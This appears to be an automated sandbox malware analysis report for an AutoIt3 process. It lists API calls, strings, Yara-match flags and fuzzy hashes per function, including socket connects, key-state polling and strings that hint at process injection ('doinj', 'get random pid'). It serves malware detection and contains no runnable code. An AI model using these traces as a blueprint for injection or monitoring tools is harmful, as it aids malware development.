Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 2c22b0e4a7c22a0435dadf9a5156f5f00ef403a87fc70c031754bf25bc8f7dea
Instruction ID: 63c7e7c994303cbce1c64fd2a820bd72cf1a7b640973d1a2ed00f786df3deef9
Opcode Fuzzy Hash: 2c22b0e4a7c22a0435dadf9a5156f5f00ef403a87fc70c031754bf25bc8f7dea
Instruction Fuzzy Hash: D3217971204219AFEF108EA49C80FBA77B9FB99324F14862DFA50E2190E331DC619B60

Function 03B63498 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03B634BA
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,03B63509,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03B634ED
RegCloseKey.ADVAPI32(?,03B63510,00000000,?,00000004,00000000,03B63509,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03B63503

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 03B634B0
FPUMaskValue, xrefs: 03B634E4

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 88d4307fd2dcd234ffe959cf9fa6f8e75a642f91a4e5f4057ac52b8b97d91577
Instruction ID: eb0c31f1ee5a686494164b048a97cb7c6461c45dd2fefc6838af9d8318da93bc
Opcode Fuzzy Hash: 88d4307fd2dcd234ffe959cf9fa6f8e75a642f91a4e5f4057ac52b8b97d91577
Instruction Fuzzy Hash: 0301927D900308B9D712EF948D12BBD77ECDB08B04F5004F2FA14D75A2F67896108654

Function 00F1C491 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00F1C4B3
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00F1C502,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00F1C4E6
RegCloseKey.ADVAPI32(?,00F1C509,00000000,?,00000004,00000000,00F1C502,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00F1C4FC

Strings

FPUMaskValue, xrefs: 00F1C4DD
SOFTWARE\Borland\Delphi\RTL, xrefs: 00F1C4A9

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 37fa5c5c337e0e2b3056d7eda789b98e029fcc5f29216aa802bac1e9d2470d31
Instruction ID: 72a26d82c4ce0f8334d02a1f6e5ba9c8c0a6b55213c96c231625ab5be8fd9411
Opcode Fuzzy Hash: 37fa5c5c337e0e2b3056d7eda789b98e029fcc5f29216aa802bac1e9d2470d31
Instruction Fuzzy Hash: 08017575A4430CBAD721DFD5DC42BE977BDD708700F500061B900D6590E6B9AA51E795

Function 008A22E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 008A2318

Strings

APPEND, xrefs: 008A2351
KEYS, xrefs: 008A232F
EXISTS, xrefs: 008A2340
REMOVE, xrefs: 008A231E

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: ebf2c54da154f86d96b6cf72eb7ba2a112816fb0ce9e4cd1ef6b8561213b7578
Instruction ID: 919fb0dda9c555ee9a734e70478c9c6a49809e68ffcb4d1fa7fc02f8995cca2a
Opcode Fuzzy Hash: ebf2c54da154f86d96b6cf72eb7ba2a112816fb0ce9e4cd1ef6b8561213b7578
Instruction Fuzzy Hash: FA112A3090011C9B8F00EFA8D9515BEB7B4FF16344B6045A9D914E7662EB369E0ACF50

Function 03B8E210 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 150sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 03B921B8: GetFileAttributesA.KERNEL32(00000000,?,?,?,?,03B7AD04,00000000,03B7B1B3,?,?,00000000,00000000), ref: 03B921FA

Part of subcall function 03B94F14: MessageBoxA.USER32(00000000,00000000,03B94F74,00040040), ref: 03B94F47

Sleep.KERNEL32(00001388,00000000,03B8E3EC,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03B8E2BA

Strings

doinj 2 , xrefs: 03B8E246
lp.txt, xrefs: 03B8E3B3
c:\debugg, xrefs: 03B8E22D, 03B8E35A
get random pid , xrefs: 03B8E37C

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AttributesFileMessageSleep
String ID: c:\debugg$doinj 2 $get random pid $lp.txt
API String ID: 2390311571-790285813
Opcode ID: 7a5186f8c9f4b71bb9ad9a52a6827ae7a18cf8d9cec77628bbfd7493431df61c
Instruction ID: 64cd7b86b396ae1d465b3984e3e8e08cb3edcfa2689249ca2842a800f9f27ad9
Opcode Fuzzy Hash: 7a5186f8c9f4b71bb9ad9a52a6827ae7a18cf8d9cec77628bbfd7493431df61c
Instruction Fuzzy Hash: CF414F38A0030A9FEB11FBA4D9909AE73A5EF8620CB5541F5E810AF395DB64ED05C6A1

Function 008C0697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00851A36: _memmove.LIBCMT ref: 00851A77

Part of subcall function 008C147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,008C040D,?,?), ref: 008C1491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 008C075D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 008C079C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 008C07E3
RegCloseKey.ADVAPI32(?,?), ref: 008C080F
RegCloseKey.ADVAPI32(00000000), ref: 008C081C

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 7beb9d8386f81bb2304eadf26dac29189e817247c0c77b3af8dccdbf7f384796
Instruction ID: 58c6412dc38dc8ef140ea33cb6aed892dc2467ef44674c13cb6af89940a4e4ae
Opcode Fuzzy Hash: 7beb9d8386f81bb2304eadf26dac29189e817247c0c77b3af8dccdbf7f384796
Instruction Fuzzy Hash: 08512771218208AFDB04EB68C885F6AB7B9FF84745F04891DB995C7292DB31E904CF52

Function 008AEBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 008AEC62
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 008AEC8B
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 008AECCA

Part of subcall function 00844D37: __itow.LIBCMT ref: 00844D62
Part of subcall function 00844D37: __swprintf.LIBCMT ref: 00844DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 008AECEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 008AECF7

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 838a0ce471300bab584df1476e1ba2723ccf6696d96aaa42731284d1ad4fb720
Instruction ID: 43ca22b471463c9895af75ae682673f6b773c77c2f7e723d01fd88b2774cf025
Opcode Fuzzy Hash: 838a0ce471300bab584df1476e1ba2723ccf6696d96aaa42731284d1ad4fb720
Instruction Fuzzy Hash: 77513735A00509DFDB01EF68C985AAEBBF5FF09314B188499E809AB362CB31ED41DF51

Function 008CA67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8d0dc0e35654f953f15dde0d0dc46bf6ce945b23e0de2372dbac041a835d59d
Instruction ID: 256614e2663e0323269f3986c075f2feb141377adec483250e32670e533d7c52
Opcode Fuzzy Hash: d8d0dc0e35654f953f15dde0d0dc46bf6ce945b23e0de2372dbac041a835d59d
Instruction Fuzzy Hash: F041153590410CAFD718CB68CC88FA9BBB8FB09328F144269F896E72D1C730ED41DA51

Function 00842714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00842727
ScreenToClient.USER32(009077B0,?), ref: 00842744
GetAsyncKeyState.USER32(00000001), ref: 00842769
GetAsyncKeyState.USER32(00000002), ref: 00842777

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: ea16231ba63549971e8974c315f09bf002c3aa4b5758851b3d326912324711b3
Instruction ID: dfaab295a843f5ac61ea233186a8511308d259a13c8f2f6db1cc840da9ed37a2
Opcode Fuzzy Hash: ea16231ba63549971e8974c315f09bf002c3aa4b5758851b3d326912324711b3
Instruction Fuzzy Hash: DE413B75508219FFDF159F68C844AE9BB74FB05328F60835AF828E7294CB30AE50DB91

Function 03BB38F4 Relevance: 7.6, APIs: 5, Instructions: 89fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000), ref: 03BB392D
SetFilePointer.KERNEL32(000000FF,000000F8,00000000,00000002,00000000,03BB39DB,?,00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000), ref: 03BB3961
GetLastError.KERNEL32(000000FF,000000F8,00000000,00000002,00000000,03BB39DB,?,00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000), ref: 03BB396D
ReadFile.KERNEL32(000000FF,03BB304B,00000008,?,00000000,000000FF,000000F8,00000000,00000002,00000000,03BB39DB,?,00000000,80000000,00000001,00000000), ref: 03BB3991
CloseHandle.KERNEL32(000000FF,03BB39E2,?,00000000,000000FF,000000F8,00000000,00000002,00000000,03BB39DB,?,00000000,80000000,00000001,00000000,00000003), ref: 03BB39D5

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: File$CloseCreateErrorHandleLastPointerRead
String ID:
API String ID: 3550223206-0
Opcode ID: fef0735f3c5050602d11dc0ceec6c988fd015eedb5ebc006ae5551182db6015f
Instruction ID: 2ca18846fb9eeae8c3b3246d9b5f37a44b33a6cb0cc75908b566873a088a1598
Opcode Fuzzy Hash: fef0735f3c5050602d11dc0ceec6c988fd015eedb5ebc006ae5551182db6015f
Instruction Fuzzy Hash: C6212638A04348BEDB10E6B48C41BFDB7F8DB05318F5442F5E5A9EA1C2CABA45058361

Function 03BB1C44 Relevance: 7.6, APIs: 5, Instructions: 84threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,?), ref: 03BB1C6F
GetClassNameA.USER32(?,00000000,00000000), ref: 03BB1C94
GetWindowTextA.USER32(?,00000000,00000000), ref: 03BB1CC3
IsWindowVisible.USER32(?), ref: 03BB1CD3
GetCurrentProcessId.KERNEL32(00000000,03BB1D31,?,?,00000000,00000000,00000000,00000000), ref: 03BB1CDC

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Window$Process$ClassCurrentNameTextThreadVisible
String ID:
API String ID: 2023830111-0
Opcode ID: 53f8db5faa2753352f7e361a097a4e271d3b6da9f5ea89d9bea295ac258dac2b
Instruction ID: ffabd164c76fb108b59d18d7d91f1b301e803bde30c23f4f97e4697fadddb7f4
Opcode Fuzzy Hash: 53f8db5faa2753352f7e361a097a4e271d3b6da9f5ea89d9bea295ac258dac2b
Instruction Fuzzy Hash: 5A2119B8600309AFDB14FBA5D890DBFB7BCEF45208F5045F5A401AB256DF78AD058A20

Function 03B7C522 Relevance: 7.6, APIs: 5, Instructions: 78networkCOMMON

Download Yara Rule

APIs

Part of subcall function 03B7C608: closesocket.WS2_32(?), ref: 03B7C60F

socket.WS2_32(00000002,00000001,00000006), ref: 03B7C565
htons.WS2_32(?), ref: 03B7C58C
inet_addr.WS2_32(?), ref: 03B7C599
gethostbyname.WS2_32(?), ref: 03B7C5B0
connect.WS2_32(?,00000002,00000010), ref: 03B7C5D5

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: closesocketconnectgethostbynamehtonsinet_addrsocket
String ID:
API String ID: 1954806591-0
Opcode ID: ae9213b7545528bc30800c9d68c7ead284d976addb0848a4e1153c6cb7206068
Instruction ID: 8d2db3841027150aff529630749c476cb738e735c590d3510fbdb1cb8a8a970d
Opcode Fuzzy Hash: ae9213b7545528bc30800c9d68c7ead284d976addb0848a4e1153c6cb7206068
Instruction Fuzzy Hash: 92219278A007049FCB10DFA8C486AAEBBF4EF09758F5045BDE425EB650D7759A018B50

Function 03B7C524 Relevance: 7.6, APIs: 5, Instructions: 77networkCOMMON

Download Yara Rule

APIs

Part of subcall function 03B7C608: closesocket.WS2_32(?), ref: 03B7C60F

socket.WS2_32(00000002,00000001,00000006), ref: 03B7C565
htons.WS2_32(?), ref: 03B7C58C
inet_addr.WS2_32(?), ref: 03B7C599
gethostbyname.WS2_32(?), ref: 03B7C5B0
connect.WS2_32(?,00000002,00000010), ref: 03B7C5D5

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: closesocketconnectgethostbynamehtonsinet_addrsocket
String ID:
API String ID: 1954806591-0
Opcode ID: bd2b023f47ab2ff07cec1acc97ee37118f9473a09ec9ba9c6778e2f54cbdac9b
Instruction ID: 1f1ac4af02ad9327a68416ec490d889cac568d184845ea4d20d6f4c32ad0dee0
Opcode Fuzzy Hash: bd2b023f47ab2ff07cec1acc97ee37118f9473a09ec9ba9c6778e2f54cbdac9b
Instruction Fuzzy Hash: 8C217474A007089FCB10DFA8C486AAEFBF8EF49748F5044B9E525EB250D775AA009B50

Function 03BB1620 Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 03BB1658
CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 03BB1670
GetDeviceCaps.GDI32(00000000,00000008), ref: 03BB167A
GetDeviceCaps.GDI32(00000000,0000000A), ref: 03BB1684
ReleaseDC.USER32(00000000,00000000), ref: 03BB16C7

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CapsDevice$CreateRelease
String ID:
API String ID: 2571409768-0
Opcode ID: 07a8d258b78870709ef3b5cb741880d79d5607bb3b524ad99e3db70d30c9e1cf
Instruction ID: c1fd702e0ac752364dd6a0a443a0e552223df30a84fd9bf3b2dd02da27827cfe
Opcode Fuzzy Hash: 07a8d258b78870709ef3b5cb741880d79d5607bb3b524ad99e3db70d30c9e1cf
Instruction Fuzzy Hash: B8219674B00708BFD700EBA5CC91BAEB7B8EB49704F9044F5E404FB652DAB85E018665

Function 008B6138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 008B6159
GetForegroundWindow.USER32 ref: 008B6170
GetDC.USER32(00000000), ref: 008B61AC
GetPixel.GDI32(00000000,?,00000003), ref: 008B61B8
ReleaseDC.USER32(00000000,00000003), ref: 008B61F3

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 2da1d114a33d9127d2b1861f59ee182992079e15d48ffaa987c8dbe0231aefbe
Instruction ID: bfd4cfe43e8435e39e84240ef837f6371b5d06e6b1d889e5818eabdc0c473073
Opcode Fuzzy Hash: 2da1d114a33d9127d2b1861f59ee182992079e15d48ffaa987c8dbe0231aefbe
Instruction Fuzzy Hash: 71215E75A01604AFD714EF69DD84AAABBF9FF89310F048469E94AD7352DA30AC01CB90

Function 03B9C364 Relevance: 7.6, APIs: 5, Instructions: 66windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 03B9C3BA
GetDeviceCaps.GDI32(00000000,0000000C), ref: 03B9C3CF
GetDeviceCaps.GDI32(00000000,0000000E), ref: 03B9C3D9
CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,03B9AF1B,00000000,03B9AFA7), ref: 03B9C3FD
ReleaseDC.USER32(00000000,00000000), ref: 03B9C408

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CapsDevice$CreateHalftonePaletteRelease
String ID:
API String ID: 2404249990-0
Opcode ID: d8e93dd4aad4d85c58ff7f813e05b3e46efe9cdb1fd636f297eaeec593adcabb
Instruction ID: c86c097cd142ba7ccbc22b23a767e27f251c680e1dcf430254c415735ed96e65
Opcode Fuzzy Hash: d8e93dd4aad4d85c58ff7f813e05b3e46efe9cdb1fd636f297eaeec593adcabb
Instruction Fuzzy Hash: A811B121604399EAFF60EF6488817EE3B94EF45359F0811F6F8409A681D7B48990C3A1

Function 0089C837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0089C84C
_memcmp.LIBCMT ref: 0089C86A
_memcmp.LIBCMT ref: 0089C87D
_memcmp.LIBCMT ref: 0089C895
_memcmp.LIBCMT ref: 0089C8AD

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a600313dd96e41c5692f204508dba3ff17de3293da4c326cfaf7ecf84a861e2a
Instruction ID: 072875edbcbd9db3d0320e6e4d18ced58dff375781b610158d6db66e852bd22e
Opcode Fuzzy Hash: a600313dd96e41c5692f204508dba3ff17de3293da4c326cfaf7ecf84a861e2a
Instruction Fuzzy Hash: D101D262B001093BDA1071159C86FBB731CFB70394B0C4136FE16E6742E7A6DE2182E2

Function 03B7AA20 Relevance: 7.6, APIs: 5, Instructions: 59threadsynchronizationwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 03B7AA2E
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 03B7AA5A
MsgWaitForMultipleObjects.USER32(00000002,?,00000000,000003E8,00000040), ref: 03B7AA6F
WaitForSingleObject.KERNEL32(?,000000FF), ref: 03B7AA9C
GetExitCodeThread.KERNEL32(?,?,?,000000FF), ref: 03B7AAA7

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ThreadWait$CodeCurrentExitMessageMultipleObjectObjectsPeekSingle
String ID:
API String ID: 1797888035-0
Opcode ID: c3ab15a2af1c543c2bfdbe95a6410b75aa592e5be58984a91cd958490a904d78
Instruction ID: de5dd3432c91e9216cc965964e9e0d71528e45b469dfda1779d7430235b400c0
Opcode Fuzzy Hash: c3ab15a2af1c543c2bfdbe95a6410b75aa592e5be58984a91cd958490a904d78
Instruction Fuzzy Hash: D111A175B543516BD660EAB8CDC1F5EB3CCDF48A28F108AB5F664DB2C0E634D8404796

Function 03B987F4 Relevance: 7.6, APIs: 5, Instructions: 55windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 03B9880C
GetDeviceCaps.GDI32(?,00000068), ref: 03B98828
GetPaletteEntries.GDI32(02080F23,00000000,00000008,?), ref: 03B98840
GetPaletteEntries.GDI32(02080F23,00000008,00000008,?), ref: 03B98858
ReleaseDC.USER32(00000000,?), ref: 03B98874

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: EntriesPalette$CapsDeviceRelease
String ID:
API String ID: 3128150645-0
Opcode ID: 1edccb43686fb1aae63646aeb85cce58db84dda802ef195bfba3fab4cb9d0d13
Instruction ID: d65ef812e3640561b7fe28bda23840b53bb39441478eb6e2c120e06331739929
Opcode Fuzzy Hash: 1edccb43686fb1aae63646aeb85cce58db84dda802ef195bfba3fab4cb9d0d13
Instruction Fuzzy Hash: 0A11C47A648308BEFF10DBA49C82F6D77A8E709708F4844F6F514EE5D2DABA9444C720

Function 03B6B8A8 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03B6B93F,?,?,00000000), ref: 03B6B8C0

Part of subcall function 03B6B620: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03B6B63E

GetThreadLocale.KERNEL32(00000000,00000004,00000000,03B6B93F,?,?,00000000), ref: 03B6B8F0
EnumCalendarInfoA.KERNEL32(Function_0000A7F4,00000000,00000000,00000004), ref: 03B6B8FB
GetThreadLocale.KERNEL32(00000000,00000003,00000000,03B6B93F,?,?,00000000), ref: 03B6B919
EnumCalendarInfoA.KERNEL32(Function_0000A830,00000000,00000000,00000003), ref: 03B6B924

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: c6469b165067c3bed377f0b528087a997aa82f7c07546fb2b7a5f433ff2cf0c4
Instruction ID: 3b3c11ccd36a67740456f46954590e3ac22a62211b2b42bf105bafbf4d08405d
Opcode Fuzzy Hash: c6469b165067c3bed377f0b528087a997aa82f7c07546fb2b7a5f433ff2cf0c4
Instruction Fuzzy Hash: 2E01F27A6403097FE601E6758D11B6E737CDB4A62CF9005F0E910EE6D3D63C9E0086A0

